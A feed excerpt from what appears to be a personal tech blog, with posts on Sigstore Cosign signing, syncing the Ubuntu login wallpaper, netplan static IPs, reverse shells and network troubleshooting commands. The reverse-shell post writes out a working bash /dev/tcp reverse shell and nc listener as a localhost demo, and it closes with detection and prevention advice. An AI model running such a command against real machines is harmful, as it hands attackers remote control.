<p>Further, I don’t think it’s a good idea that the verification for various ecosystems is hidden behind their own CLIs (ie, npm, gh and python). I would feel better with the consistency of being able to use the Cosign CLI across ecosystems, but I wonder if my outlook will change in the future.</p>
<h3 id="keyless-is-not-private" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#keyless-is-not-private">Keyless is not private</a></h3>
<p>When using the keyless workflow, the email address from the identity provider (Github, Google, Microsoft) is used as the identifier for the certificate that Sigstore’s certificate authority (Fulcio) uses. That email address also ends up in the transparency logs since it’s in the certificate, and the <a href="https://search.sigstore.dev/?logIndex=140392186">Python release log</a> from above does show an email address. It would have been nice, at least with Github, if the masked email they provide could be used (<code>@users.noreply.github.com</code>).</p>
<p>In general, I did not feel comfortable using this workflow. Indeed this privacy aspect is a <a href="https://blog.sigstore.dev/privacy-in-sigstore-57cac15af0d0/">known issue</a>, but there aren’t any convenient solutions. A promising one looks to be Pairwise Pseudonymous Identifiers, but it’s not widely supported by OIDC providers yet. A simple alternative is to use <em>keyed</em> workflow, where you generate a private and public key yourself, and use that with Cosign to sign the artifacts. However this isn’t too far off from just using <code>openssl</code> to sign artifacts.</p>
<h2 id="automated-signing-is-where-cosign-shines" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#automated-signing-is-where-cosign-shines">Automated signing is where <code>cosign</code> shines</a></h2>
<p>With CI/CD systems, there is no browser, so you can’t really log in as yourself. Instead, Cosign recognizes various well known CI systems and uses OIDC tokens that those providers can generate.</p>
<p>With Github Actions, there’s an action to install Cosign. Running <code>cosign sign-blob</code> uses the Github Actions <code>id-token</code> permission to request a JWT when it communicates with the certificate authority.</p>
<pre class="language-yml"><code class="language-yml"><span class="token key atrule">permissions</span><span class="token punctuation">:</span>
<span class="token key atrule">id-token</span><span class="token punctuation">:</span> write
<span class="token comment"># ... jobs/build/steps/ ...</span>
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Install Cosign
<span class="token key atrule">uses</span><span class="token punctuation">:</span> sigstore/cosign<span class="token punctuation">-</span>installer@v3.7.0
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Sign a file
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
cosign sign-blob --yes README.md --bundle README.md.cosign.bundle</span></code></pre>
<p>Given the bundle output from that action, verifying the blob required knowing the URL to the ‘identity’, with the Github Actions tokens issuer. The identity in this case turned out to be a Github Actions file reference:</p>
<pre class="language-bash"><code class="language-bash">cosign verify-blob README.md <span class="token parameter variable">--bundle</span> README.md.cosign.bundle --certificate-identity<span class="token operator">=</span>https://github.com/mendhak/cosign-experiment/.github/workflows/action.yml@refs/heads/main --certificate-oidc-issuer<span class="token operator">=</span>https://token.actions.githubusercontent.com</code></pre>
<p>Although at this point <code>cosign</code> is starting to look like a lot of hidden away *hand-wavy* magic, I can see what they’re trying to get at by trying to be as plug and play as possible with common workflows.</p>
<p>The good news is that this workflow <em>is</em> private, because the identifier is the Github Action URL. Here is the <a href="https://search.sigstore.dev/?logIndex=146080292">Rekor log</a> for the above example.</p>
<p>I believe this is where Cosign shines, despite the awkward verification step.</p>
<h2 id="signing-docker-images" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#signing-docker-images">Signing Docker images</a></h2>
<p>Signing Docker images is how Sigstore originally started out, before it expanded to other areas such as blobs and git commits.</p>
<p>Signing Docker images is very similar to blobs.</p>
<pre class="language-yml"><code class="language-yml">
<span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> Sign the images with GitHub OIDC Token
<span class="token key atrule">env</span><span class="token punctuation">:</span>
<span class="token key atrule">DIGEST</span><span class="token punctuation">:</span> $<span class="token punctuation">{</span><span class="token punctuation">{</span> steps.build<span class="token punctuation">-</span>and<span class="token punctuation">-</span>push.outputs.digest <span class="token punctuation">}</span><span class="token punctuation">}</span>
<span class="token key atrule">TAGS</span><span class="token punctuation">:</span> $<span class="token punctuation">{</span><span class="token punctuation">{</span> steps.docker_meta.outputs.tags <span class="token punctuation">}</span><span class="token punctuation">}</span>
<span class="token key atrule">run</span><span class="token punctuation">:</span> <span class="token punctuation">|</span><span class="token scalar string">
images=""
for tag in ${TAGS}; do
images+="${tag}@${DIGEST} "
done
cosign sign --yes ${images}</span>
</code></pre>
<p>A few differences though. It is discouraged to sign tags (such as <code>:1.0.0</code> or <code>:latest</code>), and there is a plan to remove that ability in the future. It is better to sign digests instead, however that does lead to quite a bit of clutter in many Docker registries currently. In this screenshot below, the tag that I’ve just worked on sits alongside multiple digest tags each one of which appears to be a signed layer.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/003.png">
<img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/003.png" alt=""Numerous layers created as a result of signing Docker layers" title="" loading="lazy" /></span>
<figcaption>Clutter</figcaption>
</figure><p></p>
<p>Unfortunately that put me off for now as it means I’m not able to control which tags are available for download, and feels like too much of a workaround. I hope in the future registries are able to work with this format a little more directly.</p>
<h2 id="signing-git-commits" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#signing-git-commits">Signing git commits</a></h2>
<p>Sigstore does talk about the ability to sign git commits, but it required yet another tool to install, called gitsign. Since git already comes with the ability to sign commits, I didn’t bother exploring it, I’d much rather be using <a href="https://code.mendhak.com/posts/2024-02-15-keepassxc-sign-git-commit-with-ssh.md">SSH keys to sign commits</a>.</p>
<h2 id="signing-with-local-keys" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#signing-with-local-keys">Signing with local keys</a></h2>
<p>Everything so far has been about keyless signing, but it is possible to <a href="https://docs.sigstore.dev/cosign/key_management/signing_with_self-managed_keys/">sign with regular keys</a> too.</p>
<p>This is made possible by generating a key pair, using it to sign locally, and then publish to the transparency log.</p>
<pre class="language-bash"><code class="language-bash">cosign generate-key-pair
cosign sign-blob <span class="token parameter variable">--bundle</span> local.bundle <span class="token parameter variable">--key</span> cosign.key README.md </code></pre>
<p>The transparency log record is <a href="https://search.sigstore.dev/?logIndex=146138179">much simpler</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/004.png">
<img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/004.png" alt="A transparency log in Sigstore signed with a local key pair" title="" loading="lazy" /></span>
<figcaption>Signed with local key pair</figcaption>
</figure><p></p>
<p>Verifying just requires the public key, no issuer or identity.</p>
<pre class="language-bash"><code class="language-bash">cosign verify-blob README.md <span class="token parameter variable">--bundle</span> local.bundle <span class="token parameter variable">--key</span> cosign.pub</code></pre>
<p>The documentation also mentions that it is possible to <a href="https://docs.sigstore.dev/cosign/key_management/import-keypair/">import keys</a>, but it didn’t work with my ed25519 keys. I had been hoping that it could lead to a fancy, ego stroking verification method that let me point at my Github hosted keys URL.</p>
<pre class="language-bash"><code class="language-bash">cosign verify-blob README.md <span class="token parameter variable">--bundle</span> local.bundle <span class="token parameter variable">--key</span> https://github.com/mendhak.keys</code></pre>
<h2 id="my-thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#my-thoughts">My thoughts</a></h2>
<p>Sigstore’s suite of tools does a lot of things. Its overall goal is to improve the software supply chain. I think at least in terms of CI/CD, it is something worth looking at, for blobs at least. It does feel like a good approach to signing. Short lived certificates are generated, signs the thing it needs to sign, and records the activity in a transparency log.</p>
<p>It still feels quite rough in many areas; some of the documentation feels like it’s written for someone <em>already</em> familiar with Sigstore (and it took me a lot of searching to find answers to the questions I had), and there are a lot of things hidden or abstracted away, but this is also meant to be its strength. To that end, I did find this useful page talking about how to do <a href="https://edu.chainguard.dev/open-source/sigstore/cosign/cosign-manual-way/">Cosign, the manual way</a>.</p>
<p>Considering that it’s a supply chain security tool, it ought to take its distribution channels more seriously; currently it’s only providing .deb for Debian and Ubuntu, but one of the fundamental tenets in supply chain security is staying up to date, so it’s important to participate in OS native package managers and their supply chain security.</p>
<p>The tooling and by extensions, ecosystem, feels fragmented. I didn’t like that the ‘usual’ Cosign command couldn’t be used for Python Sigstore files without having to ask or hunting around and guessing (similar for Github and npm attestations), and each ecosystem seemingly wants to hide away details in their own tooling. At the same time the various Sigstore features would have me contend with rekor, fulcio and gitsign, each of which has its own packages, or lack of packages. It would be much neater if there were a single <code>sigstore</code> command which contained all of the subcommands necessary.</p>
<p>Finally, metadata discoverability feels poor. The ability to verify a bundle requires additional information which is difficult to discover and in some cases, even discovering that information isn’t enough.</p>
<p>There are other similar efforts happening, one of which is called <a href="https://github.com/openpubkey/openpubkey">OpenPubkey</a>. OpenPubkey makes use of JWTs signed by identity providers (Github, Google, Microsoft) and adds key information into the <code>nonce</code> field. Aside from making British people giggle, the advantage here is that there is no central infrastructure needed, everything is in the token, but it feels like a hack, and that there would be difficulty if and when these identity providers rotate their keys.</p>
<p>It should be interesting to see how this pans out over the next few years, but there does seem to be promise of improvements in the industry, I am looking forward to it.</p>
Syncing the login wallpaper with the desktop wallpaper on Ubuntu2024-09-16T00:00:00Zhttps://code.mendhak.com/synchronize-login-wallpaper-ubuntu/<p>On Ubuntu 22.04 and 24.04, the background image that you set for your desktop doesn’t appear on the login screen. I will go over two ways of synchronizing the login screen wallpaper to match the one chosen for the desktop.</p>
<div class="notice info">
To skip straight to the scripts, see <a href="https://github.com/mendhak/ubuntu-change-login-background">this Github repository</a>.
</div>
<figure>
<span class="lightbox-image" data-src="/assets/images/synchronize-login-wallpaper-ubuntu/001.png"><img src="https://code.mendhak.com/assets/images/synchronize-login-wallpaper-ubuntu/001.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/synchronize-login-wallpaper-ubuntu/002.png"><img src="https://code.mendhak.com/assets/images/synchronize-login-wallpaper-ubuntu/002.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Desktop wallpaper, but dull login screen</figcaption></figure>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#setup">Setup</a></h2>
<p>Ensure that systemd-container is installed.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> systemd-container</code></pre>
<p>This is required to run some steps on behalf of gdm.</p>
<h3 id="download-an-image-to-test-with" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#download-an-image-to-test-with">Download an image to test with</a></h3>
<p>If you do not have a test wallpaper already, you can use <a href="https://www.flickr.com/photos/mendhak/30454355997/">this one</a>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">wget</span> https://live.staticflickr.com/1932/30454355997_f460fcdb22_o_d.jpg <span class="token parameter variable">-O</span> ~/Pictures/testwallpaper.jpg</code></pre>
<h3 id="download-the-repo" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#download-the-repo">Download the repo</a></h3>
<p>Clone the scripts repo down, for this post we’ll assume it gets cloned to <code>~/Projects/</code>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">git</span> clone https://github.com/mendhak/ubuntu-change-login-background.git</code></pre>
<p>The main file to look here is <a href="https://github.com/mendhak/ubuntu-change-login-background/blob/master/change.sh">the change.sh script</a>, which copies the file passed to <code>/usr/share/backgrounds/gdm</code>, the reason being that the gdm3 session cannot read from the user’s home directory. It then uses machinectl to tell gdm3 to set that image as its own background.</p>
<p>As a test, try setting the login screen wallpaper to the test image downloaded earlier.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> ./change.sh ~/Pictures/testwallpaper.jpg </code></pre>
<p>You’ll be prompted for your password, and then some output as the commands run.</p>
<p>Now logout and have a look at the login screen, the wallpaper should have changed.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/synchronize-login-wallpaper-ubuntu/003.png">
<img src="https://code.mendhak.com/assets/images/synchronize-login-wallpaper-ubuntu/003.png" alt="login screen wallpaper" loading="lazy" /></span>
<figcaption>login screen wallpaper</figcaption>
</figure><p></p>
<div class="notice info">
Your original theme isn’t lost, you can reset it using <code>sudo machinectl shell gdm@ /bin/bash -c "gsettings set com.ubuntu.login-screen background-picture-uri ''"</code>
</div>
<h3 id="allow-the-script-to-run-without-prompting-for-password" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#allow-the-script-to-run-without-prompting-for-password">Allow the script to run without prompting for password</a></h3>
<p>Because the script requires <code>sudo</code> to run, it will by default prompt for your password. This is not useful for automation, so you’ll need to allow this specific script to run without prompting.</p>
<p>Create a custom sudoers file with the right permissions, like so:</p>
<pre><code>sudo touch /etc/sudoers.d/change-login-background
sudo chmod 0440 /etc/sudoers.d/change-login-background
sudo nano /etc/sudoers.d/change-login-background
</code></pre>
<p>Add this one line in there. Replace the <code>myusername</code> and path to the change script with your own.</p>
<pre><code>myusername ALL=(ALL:ALL) NOPASSWD:/home/myusername/Projects/change-login-background/change.sh
</code></pre>
<p>You can try running the script again and this time you shouldn’t be prompted for a password.</p>
<h2 id="method-1-synchronizing-on-a-schedule" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#method-1-synchronizing-on-a-schedule">Method 1 - Synchronizing on a schedule</a></h2>
<p>The most versatile way to synchronize the desktop and login screen wallpapers is to use a cron job. It will work with whichever wallpaper manager software you use, and even if you manage it manually.</p>
<p>The <a href="https://github.com/mendhak/ubuntu-change-login-background/blob/master/sync_desktop_wallpaper_to_login.sh">sync_desktop_wallpaper_to_login.sh script</a> will get the currently set desktop wallpaper using <code>gsettings</code>, then pass it to the above change script.</p>
<p>Try running it once manually:</p>
<pre class="language-bash"><code class="language-bash">./sync_desktop_wallpaper_to_login.sh</code></pre>
<p>Then again have a look at the login screen.</p>
<p>You can now set up a cron job that runs that script, say, every 5 minutes. Run <code>crontab -e</code></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">crontab</span> <span class="token parameter variable">-e</span></code></pre>
<p>Add this line, replacing the path to the script.</p>
<pre><code>*/5 * * * * cd /home/myusername/Projects/change-login-background && bash sync_desktop_wallpaper_to_login.sh
</code></pre>
<p>Change the wallpaper and wait a few minutes, then reboot and observe the results.</p>
<h2 id="method-2-synchronizing-with-variety" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#method-2-synchronizing-with-variety">Method 2 - Synchronizing with Variety</a></h2>
<p>If you use <a href="https://peterlevi.com/variety/">Variety wallpaper changer</a>, you can have the login screen wallpaper change together with the desktop wallpaper by adding a custom command.</p>
<p>The <a href="https://github.com/mendhak/ubuntu-change-login-background/blob/master/set_both_wallpapers.sh">set_both_wallpapers.sh script</a> has been made to work with Variety; it can be called from Variety, it accepts a path to an image, passes it to the original change script, then calls back to Variety’s own setter script.</p>
<p>To do this, edit the Variety config file:</p>
<pre><code>nano ~/.config/variety/variety.conf
</code></pre>
<p>Look for the setting, <code>set_wallpaper_script</code> (add it if it doesn’t exist), which tells Variety to execute a specific bash script when the wallpaper should change:</p>
<pre><code>set_wallpaper_script = /home/myusername/Projects/change-login-background/set_both_wallpapers.sh
</code></pre>
<p>Exit and restart Variety so that it picks up the config changes. Now try changing the wallpaper via Variety, and then reboot. The login screen should match the desktop. A run.log file should also be present in the project folder.</p>
<h2 id="optional-blurring-the-background" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#optional-blurring-the-background">Optional - Blurring the background</a></h2>
<p>It is somewhat appealing to give the login screen background a blurred version of the current desktop background. This can be done with <code>imagemagick</code> installed, and making a call to the <code>convert</code> command just before passing it to the change script.</p>
<p>The ‘blurred’ versions of the <a href="https://github.com/mendhak/ubuntu-change-login-background/blob/master/sync_desktop_wallpaper_to_login.blurred.sh">cron script is here</a>, and the <a href="https://github.com/mendhak/ubuntu-change-login-background/blob/master/set_both_wallpapers.blurred.sh">Variety script is here</a>.</p>
<h2 id="special-note-for-multi-monitor-setups" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/synchronize-login-wallpaper-ubuntu/#special-note-for-multi-monitor-setups">Special note for multi-monitor setups</a></h2>
<p>With multiple monitors, the wallpaper appears zoomed in and lower quality on the login screens, which may or may not look great. This is due to <a href="https://github.com/thiggy01/change-gdm-background/issues/15">the way GDM3 treats multiple monitors</a> as a single one and simply stretches the image across it.</p>
<p>The workaround for this is to get your login screen to only work on one monitor.</p>
<p>To do this, first in your own desktop (login using an X11 session, not Wayland), change the display mode to be Single Display and apply the changes.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/synchronize-login-wallpaper-ubuntu/004.png">
<img src="https://code.mendhak.com/assets/images/synchronize-login-wallpaper-ubuntu/004.png" alt="display settings" loading="lazy" /></span>
<figcaption>display settings</figcaption>
</figure><p></p>
<p>This will have modified your <code>~/.config/monitors.xml</code> file that you need to pass to GDM3. To do that,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">cp</span> ~/.config/monitors.xml <span class="token variable"><span class="token variable">`</span><span class="token function">grep</span> gdm /etc/passwd <span class="token operator">|</span> <span class="token function">awk</span> <span class="token parameter variable">-F</span> <span class="token string">":"</span> <span class="token string">'{print $6}'</span><span class="token variable">`</span></span>/.config/</code></pre>
<p>Then go back to your display settings and restore your original multi-monitor setup.</p>
<p>On your next reboot, the login screen will only appear on one monitor, with the wallpaper no longer zoomed in.</p>
Setting a static IP address in Ubuntu 24.04 using `netplan`2024-09-08T00:00:00Zhttps://code.mendhak.com/ubuntu-2404-set-static-ip-address-using-netplan/<p>While setting up PiHole on an Ubuntu 24.04 server, I realized that the usual instructions I’d been following for years on Debian systems for setting a static IP address (often involving <code>/etc/network/interfaces</code> or <code>/etc/resolv.conf</code>) weren’t going to work here. It’s worth sharing now that I’ve learned how for myself. Netplan basically acts as a translation layer, it takes configuration files, and creates the right systemd-networkd or Networkmanager configuration.</p>
<p>The first thing I did was to disable the cloud-init networking.</p>
<p>I created a file, <code>sudo nano /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg</code> with the following contents:</p>
<pre class="language-json"><code class="language-json">network<span class="token operator">:</span> <span class="token punctuation">{</span>config<span class="token operator">:</span> disabled<span class="token punctuation">}</span></code></pre>
<p>Then, edited the existing netplan configuration file, for me this was <code>sudo nano /etc/netplan/50-cloud-init.yaml</code>, which originally looked like this:</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">network</span><span class="token punctuation">:</span>
<span class="token key atrule">ethernets</span><span class="token punctuation">:</span>
<span class="token key atrule">enp1s0</span><span class="token punctuation">:</span>
<span class="token key atrule">dhcp4</span><span class="token punctuation">:</span> <span class="token boolean important">true</span>
<span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token number">2</span>
<span class="token key atrule">wifis</span><span class="token punctuation">:</span> <span class="token punctuation">{</span><span class="token punctuation">}</span></code></pre>
<p>What it’s basically doing is setting the network interface <code>enp1s0</code> to use DHCP (and is not static).</p>
<p>I changed it to make it look like this:</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">network</span><span class="token punctuation">:</span>
<span class="token key atrule">ethernets</span><span class="token punctuation">:</span>
<span class="token key atrule">enp1s0</span><span class="token punctuation">:</span>
<span class="token key atrule">dhcp4</span><span class="token punctuation">:</span> <span class="token boolean important">false</span>
<span class="token key atrule">dhcp6</span><span class="token punctuation">:</span> <span class="token boolean important">false</span>
<span class="token key atrule">addresses</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> 192.168.50.111/24
<span class="token key atrule">routes</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">to</span><span class="token punctuation">:</span> default
<span class="token key atrule">via</span><span class="token punctuation">:</span> 192.168.50.1
<span class="token key atrule">nameservers</span><span class="token punctuation">:</span>
<span class="token key atrule">addresses</span><span class="token punctuation">:</span> <span class="token punctuation">[</span>1.1.1.1<span class="token punctuation">,</span> 8.8.8.8<span class="token punctuation">]</span>
<span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token number">2</span>
<span class="token key atrule">wifis</span><span class="token punctuation">:</span> <span class="token punctuation">{</span><span class="token punctuation">}</span></code></pre>
<p>There are a few things happening here:</p>
<ul>
<li><code>dhcp4: false</code> and <code>dhcp6: false</code> are disabling DHCP for both IPv4 and IPv6.</li>
<li><code>addresses</code> is setting the static IP address.</li>
<li><code>routes</code> is setting the default gateway and pointing at my router, 192.168.50.1</li>
<li><code>nameservers</code> is setting the DNS servers to use, I’ve chosen one Cloudflare and one Google DNS.</li>
</ul>
<p>To then apply the changes,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> netplan apply</code></pre>
<p>Then check on the status:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> netplan status enp1s0</code></pre>
What does a reverse shell actually look like?2024-08-14T00:00:00Zhttps://code.mendhak.com/simple-reverse-shell-in-linux-bash/<p>A reverse shell is a type of shell where the target machine (under attack) communicates back to an attacker’s machine, and importantly, gives the attacker control over the target machine.</p>
<p>The attacker’s machine will be listening on a port. A malicious script runs on the target machine, which connects back to the attacker’s machine. The attacker’s machine receives the connection. The attacker is then able to execute commands on the target machine.</p>
<p>I’ll create a simple example to demonstrate one to follow along with, it’s just a few basic Linux Bash commands on the same machine. The simplicity of setting up a reverse shell is the reason why you should always be careful about what you run on your machine.</p>
<h2 id="set-up-the-listener" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-reverse-shell-in-linux-bash/#set-up-the-listener">Set up the listener</a></h2>
<p>In one terminal window, setup a listener. Pretend that this is the attacker’s machine.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">1337</span></code></pre>
<p>Alternatively, you can run this in docker which does the same thing, it’s your choice.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">-it</span> <span class="token parameter variable">-p</span> <span class="token number">1337</span>:1337 <span class="token parameter variable">--rm</span> busybox:stable <span class="token function">nc</span> <span class="token parameter variable">-lnvp</span> <span class="token number">1337</span></code></pre>
<p>Either way, the output should simply say “Listening on 0.0.0.0 1337”.</p>
<h2 id="connect-to-the-listener" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-reverse-shell-in-linux-bash/#connect-to-the-listener">Connect to the listener</a></h2>
<p>Now in another terminal window, run this command to ‘connect’ to the listener. Pretend that this is the machine being compromised.</p>
<pre class="language-bash"><code class="language-bash">/bin/bash <span class="token parameter variable">--rcfile</span> <span class="token operator"><</span><span class="token punctuation">(</span><span class="token builtin class-name">echo</span> <span class="token string">"PS1='omghacker: '"</span><span class="token punctuation">)</span> <span class="token parameter variable">-i</span> <span class="token operator">>&</span> /dev/tcp/127.0.0.1/1337 <span class="token operator"><span class="token file-descriptor important">0</span>></span><span class="token file-descriptor important">&1</span></code></pre>
<p>The <code>/bin/bash</code> starts a new shell.<br />
The <code>-i</code> makes it interactive.<br />
The <code>>& /dev/tcp/...</code> redirects the input and output to the listener by making use of the <a href="https://code.mendhak.com/simple-reverse-shell-in-linux-bash/2024-07-28-networking-cheat-sheet.md#reach-a-port-on-a-server"><code>/dev/tcp</code> feature in Linux Bash</a>.<br />
The <code>0>&1</code> redirects both standard input and output to the listener.<br />
The <code>--rcfile</code> bit is just something I’ve added for the next step, but isn’t necessary.</p>
<h2 id="what-happens" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-reverse-shell-in-linux-bash/#what-happens">What happens?</a></h2>
<p>Nothing will happen in the second terminal window. But, go back to the first terminal window where the listener is running, and you should see a new prompt. It might look something like this.</p>
<pre><code>$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 127.0.0.1 39738
omghacker:
</code></pre>
<p>The <code>omghacker:</code> is the prompt from the “compromised machine”.</p>
<p>You can now try running commands against it. Try <code>ls</code>, <code>pwd</code>, <code>whoami</code>, etc.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/simple-reverse-shell-in-linux-bash/001.png">
<img src="https://code.mendhak.com/assets/images/simple-reverse-shell-in-linux-bash/001.png" alt="Output appearing in the reverse shell of various commands being run by the pretend attacker" title="" loading="lazy" /></span>
<figcaption>Reverse shell</figcaption>
</figure><p></p>
<p>When you’re done, just <code>exit</code> to close the connection.</p>
<h2 id="why-is-this-dangerous" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-reverse-shell-in-linux-bash/#why-is-this-dangerous">Why is this dangerous?</a></h2>
<p>This demonstrates just how easy it is to set up a reverse shell; the danger is its simplicity. It’s not just limited to Bash, it can be done in <a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/">several languages and environments</a>.</p>
<p>The <code>whoami</code> command would have shown that it’s the user running on the compromised machine, which means their permissions are the attacker’s permissions.</p>
<p>It’s also one of the (many) reasons that <code>curl | bash</code> type installations, often seen when installing software, are frowned upon. Sadly, they are still widely used out of laziness, convenience, or simply ignorance, and it is pretty sad to see well established projects promoting this security risk.</p>
<p>The best way to protect yourself from a reverse shell attack is to be careful about what you run on your machine. If you’re running a script from the internet, make sure you understand what it does first, don’t just blindly run it.</p>
<p>For developers, it’s important to be avoid trying to make OS calls from code, especially when passing user input directly to the command. Those situations should be avoided as much as possible. Bash is rich and powerful in the creativity it proffers, and so sanitisation is not really going to help that much.</p>
<p>For application deployments, this is one of the (many) reasons why containers are useful; they provide a level of isolation, and therefore a reduced blast radius if something goes wrong.</p>
<p>Just for reference, the following command can show you all the established connections on your machine, with the process ID and command.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">netstat</span> <span class="token parameter variable">-pan</span> <span class="token operator">|</span> <span class="token function">grep</span> <span class="token parameter variable">-i</span> ESTABLISHED</code></pre>
<p>Here is what the reverse shell example would look like. An established connection from bash should prompt you to investigate further.</p>
<pre><code>tcp 0 0 127.0.0.1:49364 127.0.0.1:1337 ESTABLISHED 24449/bash
</code></pre>
<p>Note: it’s not a perfect way of detecting reverse shells though, there are ways of hiding the connection, and the connection isn’t always active. Other tools like <a href="https://github.com/Neo23x0/Fenrir">Fenrir</a> might help as well.</p>
My most useful network troubleshooting commands and tools2024-07-28T00:00:00Zhttps://code.mendhak.com/networking-cheat-sheet/<p>I’m not a networking professional, but I’ve often had to impersonate one. Here are some of the tools and commands I’ve found useful over the years.</p>
<h2 id="reach-a-port-on-a-server" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#reach-a-port-on-a-server">Reach a port on a server</a></h2>
<p>It’s not unusual for corporate firewalls or hotel WiFi to block certain ports/protocols, it might allow web traffic but not VPN or SSH; I want to find out if that’s happening.</p>
<p>In work scenarios, an app on a remote server may be unreachable due to local firewall rules blocking traffic or is genuinely having issues on its side.</p>
<p>This is where <a href="http://portquiz.net/">Portquiz.net</a> is helpful for testing - it listens on all ports and responds with HTML, helping identify whether the issue lies in a firewall rule or the new application itself.</p>
<p>To test a remote port, use <code>nc</code> (netcat).</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">-w5</span> <span class="token parameter variable">-z</span> portquiz.net <span class="token number">193</span></code></pre>
<p>Sometimes <code>nc</code> isn’t available, so I use <code>telnet</code> instead.</p>
<pre class="language-bash"><code class="language-bash">telnet portquiz.net <span class="token number">193</span></code></pre>
<p>But what if telnet isn’t available either? One of the neat features in Linux Bash is I can query <code>/dev/tcp</code> directly and not need any extra tools.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token operator">></span> /dev/tcp/portquiz.net/193 <span class="token operator">&&</span> <span class="token builtin class-name">echo</span> Success</code></pre>
<p>In fact it’s even possible to <a href="https://unix.stackexchange.com/a/83927">make an HTTP request that way</a>.</p>
<p>When connecting to <strong>encrypted ports</strong> serving TLS, I use <code>openssl</code> instead. Openssl noticeably seems to “hang” after running a command. It’s actually just waiting for input, because the server hasn’t closed the connection yet.</p>
<p>Try this out, use openssl to connect to example.com. When it’s waiting for input, enter the bottom three lines shown, then press enter twice.</p>
<pre class="language-bash"><code class="language-bash">$ openssl s_client <span class="token parameter variable">-connect</span> example.com:443
<span class="token punctuation">..</span>.
GET / HTTP/1.1
Host: example.com
Connection: Close
</code></pre>
<p>Redis is another common example. In an AWS settings I will need to connect via TLS <em>and</em> use credentials. Here’s how:</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> elasticache-serverless-xyz123.serverless.euw1.cache.amazonaws.com:6379
<span class="token punctuation">..</span>.
Auth my-user my-password
+OK
PING
+PONG</code></pre>
<h2 id="set-up-a-listener-on-a-port" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#set-up-a-listener-on-a-port">Set up a listener on a port</a></h2>
<p>I need this when an actual network engineer tells me they’ve opened a firewall rule, but they haven’t, and I know they haven’t, but I don’t want to look stupid when I tell them they haven’t.</p>
<p>The simplest listener is using <code>nc</code>. (If the port is below 1024, use sudo)</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8081</span></code></pre>
<p>Once it’s listening, use <code>nc</code> to send some text, <code>echo -n "Hello" | nc servername 8081</code> from another terminal, and ‘Hello’ should appear in the first terminal session.</p>
